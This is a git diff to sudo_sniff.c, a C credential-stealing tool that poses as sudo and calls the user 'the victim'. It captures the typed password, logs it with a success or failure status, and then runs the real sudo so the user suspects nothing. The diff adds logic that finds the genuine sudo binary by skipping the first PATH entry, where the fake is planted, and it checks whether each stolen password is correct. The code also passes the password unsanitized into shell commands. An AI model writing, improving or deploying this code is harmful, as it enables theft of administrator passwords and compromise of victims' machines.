diff --git a/sudo_sniff.c b/sudo_sniff.c index a0bbeda..208c0c3 100644 --- a/sudo_sniff.c +++ b/sudo_sniff.c @@ -6,6 +6,7 @@ #include #include #include +#include #define BUFFER_SIZE 100 #define MAX_PW_ATTEMPTS 3 @@ -41,11 +42,11 @@ int save_password(char *username, char *password, char *status) * arguments: Contains the victim's command * */ -int basic_sudo(char *arguments) { +int basic_sudo(char *sudo_path, char *arguments) { /* Contains the victim's original command */ char orgiginal_cmd[BUFFER_SIZE] = {0}; - snprintf(orgiginal_cmd, sizeof(orgiginal_cmd), "/usr/bin/sudo%s", arguments); + snprintf(orgiginal_cmd, sizeof(orgiginal_cmd), "%s%s", sudo_path, arguments); system(orgiginal_cmd); return 0; } @@ -54,12 +55,21 @@ int basic_sudo(char *arguments) { * Tried to execute sudo to determine if user already has sudo access. * system() returns 256 on error which indicates no sudo access. * -* Returns: 0 if user does not have sudo access +* Returns: 0 if user does not have sudo access or if malloc failed * 1 if the user has sudo access */ -int check_sudo() { +int check_sudo(char *sudo_path) { + const char *sudo_args = " -n true 2>/dev/null"; + size_t len = strlen(sudo_path) + strlen(sudo_args) + 1; + char *command = malloc(len); + if (!command) { + return 0; + } + snprintf(command, len, "%s%s", sudo_path, sudo_args); + int ret; - ret = system("/usr/bin/sudo -n true 2>/dev/null"); + ret = system(command); + free(command); if (ret == 256) { return 0; } else { @@ -102,6 +112,63 @@ ssize_t get_user_pass(char **lineptr, size_t *n, FILE *stream) return nread; } +/* find_sudo() +* Finds the path of sudo executable by searching it from directories of PATH +* environment variable. The first one is ignored, because it should be this program +* if we have already prepended payload path to the PATH. +* +* Returns: NULL if PATH variable isn't set or if sudo executable can't be found in +* PATH or if malloc failed. +* The path to sudo executable otherwise. Memory is allocated for this string, +* it needs to be freed after use. +*/ +char *find_sudo() +{ + const char *sudo_bin = "/sudo"; + char *sudo_path = NULL; + char *paths = getenv("PATH"); + char *path = NULL; + size_t len = 0; + int is_first_path = 1; + + if (!paths) { + return NULL; + } + + while ((path = strtok(paths, ":"))) { + len = strlen(path) + strlen(sudo_bin) + 1; + sudo_path = malloc(len); + if (!sudo_path) { + return NULL; + } + snprintf(sudo_path, len, "%s%s", path, sudo_bin); + + if (!is_first_path && access(sudo_path, X_OK) == 0) { + return sudo_path; + } + is_first_path = 0; + + paths = NULL; + free(sudo_path); + } + + return NULL; +} + +/* is_password_correct() +* Test whether the password user gave is correct. +* +* Returns: 1 password is user's correct password +* 0 password isn't user's correct password +*/ +int is_password_correct(char *password, char *sudo_path) +{ + char command[PATH_MAX] = {0}; + snprintf(command, PATH_MAX, "echo %s | %s -S true 2>/dev/null", password, sudo_path); + + return system(command) == 0; +} + int main(int argc, char const *argv[]) { struct passwd *usr = getpwuid(getuid()); @@ -110,11 +177,18 @@ int main(int argc, char const *argv[]) /* The victim's intital parameters to run sudo with */ char arguments[BUFFER_SIZE] = {0}; /* Full command to trick the victim into beleiving sudo ran successfully */ - char command[BUFFER_SIZE] = {0}; + char command[PATH_MAX] = {0}; + char *sudo_path = NULL; size_t len = 0; int args; int pw_attempts = 1; + int res = 0; + + sudo_path = find_sudo(); + if (!sudo_path) { + return 0; + } /* Gather all the arguments supplied by the user and store them in a buffer */ for (args = 1; args < argc; ++args) { @@ -124,7 +198,7 @@ int main(int argc, char const *argv[]) /* If we managed to get the current user, attempt to steal his password by faking sudo */ if(usr) { /* Check if user already has sudo access */ - if (!check_sudo()) { + if (!check_sudo(sudo_path)) { /* Check if the victim supplied any arguments, if not simply run sudo */ if (argc != 1) { while(pw_attempts <= MAX_PW_ATTEMPTS) { @@ -132,16 +206,19 @@ int main(int argc, char const *argv[]) get_user_pass(&password, &len, stdin); /* Remove the \n at the end of the password, otherwise it messes up the command */ - if(password[strlen(password)-1] == '\n') password[strlen(password)-1] = '\0'; - + if(password[strlen(password)-1] == '\n') password[strlen(password)-1] = '\0'; + /* Build the full command to be executed */ - snprintf(command, sizeof(command), "echo %s | /usr/bin/sudo -S%s 2>/dev/null", password, arguments); + snprintf(command, sizeof(command), "echo %s | %s -S%s", password, sudo_path, arguments); printf("\n"); + /* Check if victim entered the correct password. system() weirdly returns 256 on error */ - if((system(command)) == 256) { + if(!is_password_correct(password, sudo_path)) { printf("Sorry, try again.\n"); save_password(usr->pw_name, password, "ERROR"); + res = 1; } else { + res = system(command) / 256; save_password(usr->pw_name, password, "SUCCESS"); break; } @@ -156,13 +233,16 @@ int main(int argc, char const *argv[]) free(password); } else { - basic_sudo(""); + basic_sudo(sudo_path, ""); } } else { - basic_sudo(arguments); + basic_sudo(sudo_path, arguments); } } else { - basic_sudo(arguments); + basic_sudo(sudo_path, arguments); } - return 0; -} \ No newline at end of file + + free(sudo_path); + + return res; +}